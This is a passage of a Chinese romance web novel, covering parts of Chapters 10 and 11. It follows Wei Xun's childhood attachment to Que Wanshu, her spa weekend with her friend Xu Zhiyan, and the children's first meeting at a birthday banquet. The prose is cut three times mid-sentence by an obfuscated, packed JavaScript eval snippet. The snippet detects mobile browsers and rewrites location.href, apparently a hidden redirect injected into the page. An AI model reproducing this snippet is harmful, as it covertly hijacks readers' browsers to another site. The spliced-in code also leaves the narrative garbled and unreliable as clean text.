“想起一件有趣的事。”卫瑾弯着眼睛,又笑了一声:“我总觉得大圣在吃饭时说的那些话给人一种熟悉感,刚刚终于想起为什么了。” 谢怀瑜和她碰杯,从善如流地问:“为什么?” 卫瑾抿了口酒,笑道:“卫珣小时候,我爸妈和他也有过类似的对话。” 谢怀瑜诧异道:“嗯?他也被女孩子偷亲过?” “谁敢啊,那小子小时候跟个恶霸似的,天使脸蛋魔鬼性格,说的就是他。”卫瑾想起弟弟小时候那副浑样,有些无语地抽了抽嘴角:“除了窈窈,根本没有女孩子敢靠近他,更别说偷亲他了,谁要是真这样做了,不得被他打哭。” 谢怀瑜好奇地问:“窈窈是?” 提起这个名字,卫瑾忽然轻轻地叹息一声,道:“就是长源海运家的女儿,阙宛舒,卫珣以前喜欢的女孩子,也是卫谦如今的言语治疗师,窈窈是她的小名。” “原来是她。”谢怀瑜点点头,他自然也知道阙宛舒是谁。 这个名字,可是曾闹得整个卫家天翻地覆啊,时至今日,卫家父母和卫瑾仍不敢随意在卫珣面前提起这个名字,生怕他又爆炸。 当初从云安医院张书兰治疗师那听见这个名字时,卫瑾和谢怀瑜还以为只是同名同姓,没想到细细问过之后,才发现竟然是同一个人。 该说是缘分吗? 卫瑾没有提及他们后来的事,只是笑着说起小时候:“你也知道我家有用玉石给小孩子打平安扣的习惯吧?不仅卫咏和卫谦有,我和卫珣也有。” “尤其是卫珣,他是早产儿,小时候身体也不好,总是大病小病不断,本来他的那枚平安扣和我的出自同一块玉石,但我爷爷见他多灾多难,担心原先的玉佩压不住邪祟,后来又拿羊脂白玉给他打了枚新的平安扣,还特地去找高僧开光。” “羊脂白玉这东西,可谓有市无价,都说如今市面上流通的羊脂白玉都是假的,真的都在博物馆里,这句话可不假,我爷爷也是早年才得了那么一小块,宝贝得不行,若不是卫珣的身体总是不见好,他大概也舍不得拿出来。” “神奇的是,那块用羊脂白玉打造的平安扣一戴在卫珣身上,他的身体竟然真的慢慢好转了,长大后也很少生病。从那以后,他便一直随身戴着那块玉,可是有一天,平安扣突然不见了。” 卫瑾说到这里话锋一转:“我父母问他玉佩去哪了,你知道他是怎么回答的吗?他说──” ”送给我女朋友了。” 那时也是晚饭时间,一家人正坐在餐桌前,彼时年仅七岁的卫珣面对父母的询问,突然说了这么一句话。 卫父卫母立刻惊呆了,坐在弟弟身边干饭的卫瑾也险些一口饭呛了出来,她捂着嘴,眼睛瞪得老大:“你还有女朋友了??” 面对姐姐大惊小怪的询问,卫珣神情淡然地扫了她一眼,点点头。 不知为何,卫瑾竟好似从弟弟那张稚嫩的小脸上看见了鄙夷。 他俩的父亲卫昀愣了愣,问道:“女朋友?是谁呀?” 一提到“女朋友”,总是个跟小霸王似的卫珣竟露出了笑脸,道:“是窈窈。” 卫昀没听过这个名字,疑惑地看向妻子卢海玥,问:“窈窈是谁?” 卢海玥无奈地笑了笑,道:“长源海运董事长阙定明的女儿,叫阙宛舒,小名叫窈窈,和阿珣玩得好。” 原来是玩伴呀,卫昀点点头,见儿子一本正经的模样,他有心想逗他,便故意问道:“你知道女朋友是什么意思吗?” 原以为卫珣会回答“女生的好朋友”,没想到他竟然说:“就是我喜欢的人,等我们都想大了,可以结婚的时候,女朋友就会变成老婆。” 听见这句话,不仅父母呆住,这下连卫瑾都真的呛到了:“咳、咳咳咳!” 卫瑾简直不敢相信自己听到了什么,她这个做姐姐的十六岁了连个初恋都没有,这小子才七岁就给自己找老婆?? 卫昀和卢海玥也没想到兒子会这样回答,不过他毕竟还小,大人们只以为他这套说词是在哪学来的,并没有当真,只是觉得很有趣。 卢海玥好奇地问儿子:“那你怎么突然把玉佩送给窈窈了?” 那块玉佩是卫老爷子特地给卫珣打的,他从小不离身,宝贝得紧,从不允许任何人碰,即便是父母和姐姐也一样,没想到竟然会把它送给自己的小玩伴。 却见卫珣突然垂下脑袋,有些无精打采地说:“她生病了,爷爷说这个玉佩可以保佑小朋友不生病,所以我就送给她了,希望她能快点好。” 卫瑾:“……” 没想到她弟弟还是个纯爱战士啊! 故事说到这里,谢怀瑜听完也笑了起来:“确实没想到阿珣是这个性子。” 卫家长辈没想到的何止是这个,所有人都以为只是一句无知童言的“女朋友”一说,不仅是认真的,卫珣后来甚至认真到令周旁所有人都感到心惊。 谢怀瑜想起他下午从医院回来后的模样,便跟卫瑾说了,没等两人讨论,卫瑾忽然收到了弟弟发来的消息。 点开一看,是一个时长四十分钟的录音档。 卫珣:「治疗课的录音档。」 卫珣:「下堂课,她让你和谢怀瑜去。」 卫珣:「还有保姆。」 不知道为什么,这几句话明明没有夹带任何表情符号,连表情包也没有,但卫瑾总觉得从字里行间品出了一股咬牙切齿的意味。 再联想到丈夫所说,卫珣从医院回来后的异状,卫瑾立刻什么都明白了。 她把和弟弟的聊天窗递给谢怀瑜看,挑着眉笑道:“破案了。” – 周五,阙宛舒下了班回到家,刚在家吃完饭,突然接到许知嫣的电话。 “宝,在家吗?看看窗外。” 听见这句话,阙宛舒疑惑地拿着手机走到窗边,拉开窗户往底下一看,就见公寓楼下的巷子里停了辆淡粉色的法拉利,而她的好闺蜜正穿着小短裙站在车旁抬头冲她笑。 与此同时,听筒里传来她明媚的声音:“窈窈下楼,咱们去玩呗。” 许知嫣前阵子从日本出差回来后,又很快飞去了新加坡,直到今日才回来,而她刚到梓城第一件事就是开着跑车来接阙宛舒去渡假。 许家是做星级酒店生意的,她家的酒店开遍了大江南北,就连日本、马来西亚和新加坡都有分店,最近还在梓城郊外的云山上开了家新的温泉酒店,名为云山观止,刚开幕不久,她自己都还没去玩过,于是一回国便来接好姐妹一起去玩。 如今已近十一月,云山上的枫叶开始染上橘红,虽尚未到达赏枫的最佳时期,但飘渺的云雾间夹杂着一点秋红的景色依然非常值得一赏。 做为云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830212|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山观止的少东家,许知嫣订的房间自然是最好的,不仅如此,她还带着阙宛舒把酒店所有额外服务全体验了遍。 此时两人刚泡完温泉,正一人一张床享受一对一的专人按摩服务,一边絮絮叨叨地说着话。 “嗯?你说你们科主任是云安集团的女婿?”许知嫣惊讶地问。 “疑似,这目前还是个尚未获得证实的小道消息。”阙宛舒纠正道,她好奇地问许知嫣:“你参加家宴时见过他吗?” 许知嫣最近要结婚了,如今正在备婚,而她的结婚对象正好是云安集团董事长的长子张陆扬,如果郑鹿梨的小道消息属实,那么吴主任应该是她未婚夫的姑丈。 许知嫣想了想,道:“我没特别注意他姑丈,只记得是个戴着眼镜、长得挺斯文的男人。” 戴眼镜?长得挺斯文? 阙宛舒沉思,吴主任是戴着眼镜没错,如果忽略他唠叨的性格,确实也是个看起来挺斯文的小老头。 看来这个小道消息有可能是真的。 阙宛舒没再细究,转而关心起闺蜜的近况:“你最近备婚备得怎么样了?” 许知嫣皮笑肉不笑:“别提了,某人一天到晚不见人影,我都快以为这是我一个人的婚礼了。” 没等阙宛舒细问,她已一股脑地抱怨起那个一天到晚当空中飞人,不是在工作就是在出差的工作狂未婚夫。 她和张陆扬是联姻,两人透过相亲认识,才见面三次就决定结婚。 虽然是没有感情基础的联姻,但许知嫣对婚礼还是很重视的,并不想什么事都交由长辈安排,对于婚礼的一切她几乎事必躬亲,处处都想做到最好,也很重视未婚夫的意见。 可惜她的未婚夫因为工作忙碌总是消失,找不到人也就罢了,问他意见时不是回答“好”就是“你决定就好”,惹得许知嫣都快抓狂了,真想逮住他揍上一顿。 阙宛舒跟着好友一同痛骂了她未婚夫一顿,骂完又忍不住问她:“你家非得让你去联姻吗?” 联姻对于上流圈子来说很常见,有时联姻的目的也并不是家族非得出卖子女的婚姻才能维持荣华或壮大势力,而是仅出于门当户对的理由,当然自由恋爱也有不少,但也有很多是由于适婚年龄到了、自己又没有特别喜欢的人,索性找个门当户对的结婚。 因为门当户对而结婚,但婚后各玩各的、互不干涉的开放式婚姻,在这个圈子里更是见怪不怪。 阙宛舒不确定许知嫣属于哪一种,她只是有些心疼好友。 也不知道是不是因为脱离这个圈子太久了,还是她本身的性格使然,反正阙宛舒自己是绝对没有办法接受毫无感情基础的策略婚姻,如果真的遇不到那个喜欢到只想与他结婚的人,她宁愿一辈子单身。 事实上,她原以为闺蜜也和她是同样的想法。 却见许知嫣无所谓地说着:“反正不是他,也会是别人,何况我早就过了对纯粹的爱情怀抱憧憬的年纪啦。” 这世上又有多少婚姻纯粹是出于两个相爱相契的灵魂结合?更多的不过是搭伙过日子罢了。 阙宛舒张了张嘴,刚想说点什么,许知嫣却突然转移了话题:“对了,我记得你说过卫瑾姐姐的小儿子在云安医院做手术,之后会由你负责听能训练,你已经见过他们了?” “这个嘛……”阙宛舒观察了下闺蜜的表情,迟疑了一会,还是小心翼翼地把卫谦的第一堂治疗课上发生的事全告诉了她。 果不其然,一听完过程,许知嫣立刻炸了。 “又是卫珣?那家伙怎么阴魂不散啊!” 10. Chapter 10 许知嫣宣布卫珣再度回归她最讨厌的人的宝座。 她就知道这家伙心怀不轨,当初得知卫谦成为阙宛舒的个案时她就觉得巧合得过于古怪,如今想来肯定是他的手笔。 这世上哪来什么命中注定的缘分?不过是某一方汲汲营营处心积虑罢了。 许知嫣暗暗心惊,连不到两岁的外甥都可以拿来利用,卫珣果然是个丧心病狂的家伙,偏偏她的好闺闺还一副单纯懵懂的模样,她的心里忍不住生出十万分的忧虑,深怕好友遭遇前男友的毒手。 于是她再次拉着阙宛舒耳提面命起来,让她务必小心发疯的卫珣。 许知嫣如临大敌的模样让阙宛舒觉得有些好笑,眼见卫珣已经被她形容成一个随时能炸掉地球的大坏蛋,她忍不住道:“你是不是想多了?卫珣没这么小心眼吧……” 话到这里一顿。 不对,卫珣确实是个非常小心眼的家伙,不只小心眼,他还记仇得很。 于是阙宛舒改口:“就算他小心眼,他应该也没有无聊到来报复我……” 话到这里又是一顿。 不对,他无不无聊她不知道,但他确实有可能真的来报复她。 阙宛舒突然想起刚分手时,卫珣一天照三餐给她发的恐吓短信。 她记得其中一条短信的内容是,他威胁她如果不和他复合的话,他保证会让她从此往后的人生都像是活在地狱里。 阙宛舒当时并没有理会,因为她那时的生活已经足够像在地狱了,还能怎么再更糟?全世界的人都死光? 而且卫珣虽然话说得狠,但似乎也只是说说而已,后来她并没有真的遭遇什么实质的报复。 她人生中最灰暗难熬的那段日子过去以后,岁月与生活平淡至今,直到回到梓城后再次遇见他。 说实话,其实阙宛舒并不害怕卫珣报复她,相反的,她的内心深处甚至奇异地对于他会怎么报复她感到一丝好奇。 许知嫣并不知道阙宛舒心里的想法,见好友突然表情恍惚,她有些担心,回到房里后连忙让前台送来几瓶酒,打算彻夜替好友开解心情,顺便再痛骂讨人厌的卫珣一顿。 两人你一杯我一杯,一瓶香槟很快就见底了,她俩的酒量都不算好,许知嫣经常参加酒宴,倒比阙宛舒好点,而后者在半瓶香槟下肚后,已经有些飘飘然了。 阙宛舒抱着抱枕歪躺在沙发,看着趴在床上的闺蜜道:“不过,我其实从以前就想问了,你到底为什么那么讨厌卫珣呀?” 仔细想来,许知嫣和卫珣做为两个曾经与她最亲密的人,却似乎从认识开始就没给过对方好脸色。 许知嫣双手托着脸,此刻她雪白的双颊上也带着被酒意晕染过的红晕,一提起卫珣,她忍不住翻了个白眼:“谁让他抢我朋友。” 阙宛舒迷迷糊糊地问:“嗯?” 许知嫣看着躺在沙发上,脑袋枕在座椅边缘,整张脸倒着看她的阙宛舒,道:“你还记得吗?卫珣五岁的生日宴,我因为发烧没有参加,只有你去了,结果你从此就被讨厌的家伙缠上。” 卫珣小时候身体不好,卫家长辈像护眼珠子般将他保护得密不透风,在他五岁以前,圈子里的人只知道卫家添了个小孙子,却并没有见过他本人,直到卫家老爷子七十岁大寿。 说来也巧,卫珣的生日恰好和他爷爷在同一天,卫老爷子七十大寿那日,也是卫珣的五岁生日。 那时他的身体已经养得很好了,又正是活泼爱玩的年纪,因此卫老爷子便借着生日宴广邀圈子里的人带着孩子前来,想给小孙子找几个同龄的玩伴。 没想到卫小少爷东挑西选,最后竟选中了阙宛舒这个倒霉蛋。 是的,许知嫣一直觉得被卫珣盯上的阙宛舒是个实实在在的倒霉蛋,卫珣那家伙脾气古怪,占有欲强又黏人,天知道当她病好以后,看见香香软软的好朋友身边黏了只雄性苍蝇时有多么晴天霹雳。 而且这一黏就是十多年,虽然九岁以后卫珣曾和父母一起搬到美国长住一段时间,但十五岁时又从国外杀了回来。 时至今日,也依然阴魂不散地在她的好朋友身边徘徊,看得许知嫣只想找人超渡了这只恶鬼。 她说得义愤填膺,形容得也很有趣,阙宛舒被她逗笑,忍不住咯咯地笑起来。 和圈子里的许多人一样,阙宛舒第一次见到卫珣,也是在卫老爷子的七十岁生日宴上。 据说卫家祖上是读书人,直到卫老爷子这代才开始从商,在老爷子七十岁时,卫家的事业正是如日中天的时候,引得众人趋之若鹜,只是卫家人丁稀少又向来低调,旁人即便想攀交情也少有合适的机会。 没想到卫老爷子为了小孙子竟难得大办寿宴,还邀请了圈子里许多人家以及他们的孩子前来。 阙宛舒和她的父母也在受邀名单内,由于卫珣的生日和卫老爷子的在同一天,因此她妈妈便让她亲自挑选送给卫珣的礼物。 最后她选了她爸爸从英国带回来的手工玩偶,爸爸总共带回来四只玩偶,分别是企鹅、兔子、小熊和恐龙,其中企鹅的她自己留着,兔子送给许知嫣,小熊送给小阿姨家刚出生的表弟,还剩下一只绿色恐龙,她选择送给卫珣。 当时阙定明还担心手工玩偶这份礼物和其他人送的相比不够贵重,毕竟别人家的礼物多半由大人准备,不是昂贵的玩具就是名贵的珠宝,也有不少借着给卫珣送礼的名义,其实是送给卫老爷子的。 因此他又额外添了辆刚好可以让玩偶乘坐的遥控汽车。 她妈妈孟如意对此不以为然,她认为这场寿宴的主角看似是卫老爷子,其实应该是卫珣才对,若真的利用卫珣来讨好卫老爷子,说不定反倒会惹来对方的反感。 不过她也没有干涉丈夫非要多加件礼物的举动,只是教导阙宛舒要真诚待人,因此除了礼物,阙宛舒还给卫珣写了张卡片。 这场盛大的生日宴在卫家大宅举办,除了主宴会厅,卫家还另外安排了一个给孩子们活动的游戏厅,卫珣和各家的孩子都聚集在内。 阙宛舒从小就是个内向的性格,小时候特别怕生,许知嫣在的话倒还好,会领着她到处疯玩,偏偏许知嫣因为发烧没有来参加宴会,因此得知自己得一个人去游戏厅后,阙宛舒顿时有些怯步,只想黏在父母身边。 最后是许知嫣的哥哥许知森牵着她去的,可惜许知森比她还大几岁,朋友的年龄圈层和卫珣的并不一致,所以也没有在游戏厅待多久,很快就被朋友叫走了。 阙宛舒只好自己待在游戏厅,她找了个不显眼的角落窝着吃点心,顺带烦恼该怎么把礼物送给寿星。 今日的宴会主角正被一大票孩子们围着,他身上穿着套定制小西装,模样生得精致俊秀,活像个小王子,只是不知为何,明明是应该开心的日子,但他看起来似乎有些不高兴。 阙宛舒一边吃点心一边远远地看着,有个路过的漂亮姐姐问她怎么不过去玩,她捧着点心腼腆地说因为她害羞。 漂亮姐姐笑了,说如果她不敢自己一个人去的话,她可以陪她过去,就在阙宛舒思考要不要答应时,寿星本人自己过来了。 “你是谁?为什么坐在这里?” 刚刚还被人群簇拥着的男孩突然出现在她面前看着她,神情里带着一点居高临下的傲慢。 阙宛舒吓了一跳,见方才围着他的人也逐渐朝他们这包围过来,她顿时社恐发作,愈发怯生生地说:“我、我叫窈窈,我坐在这里吃点心。” “窈窈?”卫珣看着眼前这个似乎很怕生的女孩,心里莫名生出一股想要欺负人的念头,于是他“哈”了一声,故意说:“好奇怪的名字。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830213|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >原以为阙宛舒会急着解释自己的名字不奇怪,甚至着急到哭出来,没想到她却只是眨巴着大眼睛看他,一脸认真地说:“不奇怪呀,窈是窈窕的窈,我奶奶说这是形容女孩子文静而美好,是个好名字。” 卫珣:“……” 她的反应怎么和他想的不一样?而且她说的窈……窈窕又是啥? 可怜当时的卫珣只是个五岁小孩,认得的字并不多,一时竟被她唬住了。 他有心想找回场子,恰好看见她身旁的椅子上放了个礼物盒,便指着盒子问:“那是什么?” 阙宛舒这才想起他就是寿星,此刻见寿星目不转睛地盯着她准备的礼物,她不由害羞起来,小声地说:“是给你的生日礼物。” 她把礼物盒拿起来递给他,颊边带着浅浅的红晕,语气却很郑重:“祝你生日快乐,卫……卫珣。” 卫珣接过礼物盒,出于某种坏心,他本来打算不管是什么样的礼物都要挑剔一番,孰料拆开以后,竟看见了一只长着翅膀的绿色恐龙玩偶? 恐龙玩偶坐在一辆红色的法拉利玩具车里,这辆车他也有一台,还是专属于他的定制款,然而引人注目的是,这只恐龙的头上还戴着顶法拉利头盔和风镜,看起来既可爱又拉风。 没等卫珣反应过来,从刚才就站在阙宛舒身边的卫瑾突然笑了出来,探手要来戳恐龙的脑袋:“好可爱呀。” 在她的手指戳到恐龙前,卫珣已经抱着礼物盒飞快地避开了,还抬头瞪了自家姐姐一眼,道:“不要乱碰,这是我的。” 卫瑾“切”了一声:“小气鬼。” “恐龙是我送你的礼物。”阙宛舒解释道,她指了指恐龙身下的玩具车:“这台汽车是我爸爸送的,头盔和眼镜是妈妈送的。” 说完,她又紧张又期待地看着他:“你喜欢吗?” 被她明亮的大眼睛一瞧,刚涌到嘴边的“不喜欢”顿时噎住,卫珣停顿三秒,鬼使神差地改口:“……嗯。” 得到肯定的回应后,阙宛舒立刻弯着眼睛笑起来,她也是个眉目如画的孩子,小脸生得白白软软的,性子又乖巧,最受长辈喜爱,显然……也很招同龄孩子喜欢。 卫珣的脸有些红。 这时他又在礼物盒里发现了一张卡片,拿起来一看,竟是阙宛舒写的生日贺卡。 卡片上的字体歪歪扭扭的,显然是出自孩童之手,能看出来她一笔一划都写得很认真,虽然论美感比不上那些写得龙飞凤舞的贺卡,但相较之下真诚许多。 「卫珣: 祝你生日快乐,希望你会喜欢我准备的礼物。——阙宛舒」 卫珣盯着落款的名字……他看不懂“阙”这个字,不过却认得后头的“宛舒”二字。 于是他问:“你不是说你叫窈窈吗?” 阙宛舒点点头,解释道:“窈窈是奶奶取的小名,我的名字叫阙宛舒。” 卫珣“哦”了一声,又问:“你爸妈也叫你窈窈?那你朋友叫你什么?” “爸爸妈妈和好朋友都叫我窈窈。”她说的好朋友是许知嫣,接着又补充道:“幼儿园里的其他朋友叫我阙宛舒。” “那以后我也要叫你窈窈。”卫珣说,虽然不是独一无二的称呼,但至少是少数人才能叫的名字。 他这个人,从小就不喜欢和别人一样,最好喜欢的东西都能专属于他。 即便是人也一样。 阙宛舒愣了愣:“你要和我当朋友吗?” “朋友?”卫珣想了想,爷爷说希望他能多交点朋友,但他不想和那些只会讨好他的笨蛋当朋友,可如果是阙宛舒的话—— 望着眼前的女孩澄澈的眼睛,眼高于顶的卫小少爷突然笑了,天真漂亮的小脸极具迷惑性:“好啊,我们当朋友。” 他要成为她独一无二的朋友。 11. Chapter 11 于是许知嫣的恶梦来临了。 她一病就是整整一个星期,等到病好了去上幼儿园时,便发现班上来了个新同学,而且新同学不知为何还总是黏着她的好朋友。 阙宛舒从幼儿园到高中都在华伦国际学校上学,她三岁时就在这里上幼儿园小班,许知嫣也和她一样,而卫珣则直到五岁才到华伦上学,在此之前都是在家由专门的幼教老师替他上课。 许知嫣其实也是个占有欲强的人,尤其她和阙宛舒是打娘胎里就认识的好朋友,两人好得跟亲姐妹似的,自然不容许她俩的友谊被一个臭男生介入。 偏偏卫珣从小被家里的长辈们捧惯了,加上自身性格使然,愈是得不到的东西他愈想要,于是两人经常为了争夺阙宛舒而吵架,惹得老师都头疼不已。 更不用说被夹在中间的阙宛舒。 从前他俩最喜欢问她的问题就是:“卫珣/许知嫣和我,你比较喜欢谁?” 对于这个送命题,阙宛舒十分苦恼,她不只一次反问两人:“大家都是好同学,就不能一起玩吗?” 卫珣和许知嫣的回答都是:“不行。” 因为互不相让,两人一路从幼儿园中班吵到大班,又从幼儿园大班吵到小学,直到小学三年级时,卫珣要和父母一起搬去美国长住,许知嫣因此获得短暂胜利。 看着卫珣离开前阴恻恻的表情,许知嫣简直想大放烟花来庆祝,她宣布他出国的这天就是她人生里最棒的日子。 原以为这家伙会就此消失在她和窈窈的生活里,没想到初中二年级时,已经出国五年的卫珣竟强势归来,不仅转到阙宛舒班上,还和她成了同桌。 许知嫣于是又开始了和黏着好朋友的苍蝇斗争的日子。 此时听阙宛舒说起这段过往,许知嫣立刻从床上爬起来,拿着手机问沙发上的好友:“说到这个,你还没有回答那个问题呢!所以我和卫珣你比较喜欢谁?” 仔细想来,从前的阙宛舒简直是个端水大师,许知嫣和卫珣争夺多年,竟然从没听她说过这个问题的答案。 阙宛舒已经醉了,正是毫无防备的时候,听见她这么问,下意识说:“是你,喜欢你……” 许知嫣眼睛一亮,继续问:“我和卫珣谁才是你的小宝贝?” 阙宛舒答:“你是我的小宝贝。” 许知嫣满意了,她拿着手机背过身,不知在捣鼓什么,阙宛舒则仍躺在原地盯着天花板。 酒意渐渐漫上来,脑袋开始发昏,就连意识都逐渐飘忽起来,而在被滚滚困意彻底淹没之前,她脑里最后的念头是—— 她和卫珣都分手这么久了,当初还用那种方式狠狠甩掉了他,就算如今的她对他有什么想法,还有资格说出口吗? 应该,没有了吧。 阙宛舒闭上眼睛。 许知嫣并不知道好友的心理活动,她把方才和好友的问答录下来了,剪辑一下后发给了问答中的另一位当事人。 于是当卫珣点开许知嫣发来的录音档时,听见的便是这样的一段对话—— “我和卫珣你比较喜欢谁?” “是你,喜欢你。” “我和卫珣谁才是你的小宝贝?” “你是我的小宝贝。” 卫珣:“………………” 他当然不可能认不出许知嫣以外的另一个声音是谁的。 妈的,他现在就要刀了这丫头! 于是卫珣拿下耳机,阴着一张脸给曹英发消息:“马上帮我查出许知嫣在哪。” 刚洗完澡正坐在电脑桌前准备开黑的曹英:“大半夜的,你找她干嘛??” 卫珣呵呵一笑,话音里带着令人毛骨悚然的寒意:“弄死她。” 曹英:“?????” 这位哥又发什么疯?! - 早上七点钟,阙宛舒被讨人厌的社畜版生理时钟叫醒。 她昨天在沙发上睡着了,醒来后人却在床上,想来是许知嫣把她搬上来的。 侧头一看,她的好闺蜜还埋在被窝里睡得正香,阙宛舒却怎么也睡不着了,于是她翻身下了床,进浴室洗漱。 换了套衣服后,许知嫣仍然没醒,她也没有叫她,而是轻手轻脚地出了房间,去楼下餐厅吃早饭。 吃完早饭才八点左右,阙宛舒回到房间时许知嫣还在睡,她便拿了自己的写生本和便携水彩出门画画。 早晨的云山云雾缭绕,层层叠叠的山岚自山巅沿着山壁滚滚而下,远处是逐渐被秋意晕染开的枫红,在尚维持着翠绿的山林间格外醒目,像水彩画里最浓墨重彩的一笔。 阙宛舒找了个风景开阔的瞭望台,先坐在椅子上盯着景色发了一会呆,接着慢吞吞地拿出取景器取好角度,后又拿出写生本、便携水彩和自来水笔,她没有打线稿,直接上了水彩。 她从小就喜欢画画,高中毕业后本来打算去美国攻读插画专业,可惜家里突生变故去不了,只好在国内上大学,还选择了一个与年少时的梦想全然不同的专业。 不过值得庆幸的是,画画这件事,只要她想,不管何时何地都能够进行。 等到一幅云山秋景水彩画完成得差不多时,许知嫣终于起床了,她循着阙宛舒的信息找来瞭望台,刚好看见她在写生本上落下最后一笔。 看着颜色明媚浓烈,但视觉上令人感到分外舒服的一幅画,许知嫣好奇地问:“你在为新绘本取材吗?” 阙宛舒摇摇头,笑道:“不是,只是随便画画而已。” 她大学时接了个家教,学生是个患有自闭症且言语发展迟缓的八岁小妹妹,当时的阙宛舒还只是个大二学生,尚没有替她上治疗课的能力,因此她的工作只是陪她做作业和玩耍。 家教妹妹喜欢画画,阙宛舒又刚好擅长画画,为了拉近和学生的距离,她便经常会画一些插画小故事给她看。 有次被妹妹的母亲看见了,那位家长从事出版社工作,见阙宛舒的作品颇有灵气,情节也很有趣,便询问她是否有兴趣出版儿童绘本。 于是阙宛舒就这么成了一名儿童绘本作家,目前已经出版了五本绘本,因她的画风明媚,题材聚焦亲子关系、弱势儿童群体,颇具人文关怀,且故事情节温暖又治愈,因此受到广大孩童和家长们的喜欢,在绘本圈也算小有名气。 目前她正在准备自己的第六本作品,书名叫做《外星信号接收中》,故事讲述一名外星人偶然来到地球后,想伪装成人类在地球生活,却发现自己的听觉和人类不一样,做为外星人的他听不见人类的声音,即便听见了也听不清楚,为此感到非常困扰,直到某天他得到了一个特殊的外星机器,终于能够听见其他人的声音并与他们沟通。 这个题材与听觉障碍人群有关,如今初稿已经完成了,正在进行校对和审核。 等水彩干了之后,阙宛舒阖上画本,陪刚起床的许知嫣去餐厅吃饭。 吃完饭后,她们俩又去做了水疗和皮肤管理,结束时恰好也饿了,便让人把下午茶送进房间。 两人一边吃点心一边絮絮叨叨地说着话,此刻时间已近下午三点半,她俩正准备去酒店的独立影厅看场电影,许知嫣突然接到了未婚夫打来的电话。 未婚夫表示,他晚上临时要参加一场晚宴,需要带女伴,并询问她在哪,待会要过来接她。 如今许家和张家已对外放出他俩要结婚的消息,因此他们说好若有需要伴侣的场合,另一方都得陪同。 只是这未免也太突然了,许知嫣本来打算和阙宛舒在温泉酒店待到周日,没想到张陆扬的一通电话就让整个计划通通泡汤。 对此她简直怨气冲天,阙宛舒见状连忙安慰好友:“反正我以后也在梓城,你想见我随时都可以。” 许知嫣又咒骂了未婚夫一顿,提议道:“要不你继续在这玩到明天吧,我和经理说一声就行。” 阙宛舒摇了摇头,笑道:“不用啦,你不在的话我自己玩也没意思,待会我打车回家就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830214|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行。” 许知嫣闻言更愧疚了,她把脑袋埋在好闺闺的肩膀上用力地蹭蹭,道:“别打车了,你开我的车回去吧,我再让司机去你家把车开回来就行。” 其实这个办法也不错,阙宛舒正要答应,但很快想起许知嫣开的是什么车,而她们又在什么地方。 于是阙宛舒说:“我不会开法拉利。” 许知嫣以为她是担心自己开不好,便握了握手给她增加信心:“别怕,那台车有手的人就会开,你尽管开。” 阙宛舒急了:“不是这个问题,我是真的不会开法拉利。” 许知嫣继续给她加信心:“难道你是不会开手动档?别担心,我的车也能切换成自动档,你可以的!” 阙宛舒更着急了:“不……虽然这也是个问题,但不是最大的问题,我是真的不行!” 许知嫣不允许她否定自己:“你可以!加油,你要相信自己,别怕把车开坏了,开坏我就再换一辆车就行。” 见她一副“这些都是小问题”的表情,阙宛舒简直快抓狂了,她突然感觉到言语的苍白:“这些都不是重点,重点是我们是在云山上啊啊啊啊姐妹!” 许知嫣“啊”了一声,没反应过来:“那又怎么了?” “我不会开山路。”阙宛舒扶额,“尤其是开着法拉利超跑走云山的山路。” 云山除了温泉和风景,还有一项特色广为人知,那就是它那曲折蜿蜒的山路,虽然坡度不陡,路面也颇为平坦,但其中一段路因具有三十六个连环弯道,被称为“云山三十六弯”,吸引无数热爱跑山的车友前来挑战。 很不幸的是,她们所在的云山观止恰好就在三十六弯上头,也就是说,阙宛舒若要下山必然得经过那大名鼎鼎的连环弯道。 她从前开车大多是在市区,几乎没跑过山路,先不提走山路得连续过弯、下坡,若遇到较狭窄的路可能还得挑战极限会车,更不用说,她还有点恐高。 要她开车下云山,她宁愿走着下山。 听完她的忧虑,许知嫣沉默了,最后为了好闺蜜的人身安全着想,她决定还是换个稳妥点的方式。 “我让酒店的人开我的车送你回去吧,再顺道让他们把我的车开回我家。” 阙宛舒也觉得这个方法好点,于是两人叫来经理,在一众泊车小哥中挑挑拣拣,最后选中了个开过法拉利、也具有丰富跑山经历的小哥。 此时张陆扬也发来消息说自己快到了,许知嫣和阙宛舒索性直接到门口,等待泊车小哥把车开过来。 孰料一走出大门,就见开阔的酒店前庭上停了四、五辆五颜六色的超跑,有布加迪、迈凯伦和兰博基尼,除此之外还有几辆重型机车。 一瞧见这些一字排开的超跑,许知嫣莫名有种不祥的预感,她扭头问身旁随行的酒店经理:“那些都是谁的车?” 在梓城能开上跑车的人有不少,但一次出行就是这么几台限量款,范围一下子就缩小了。 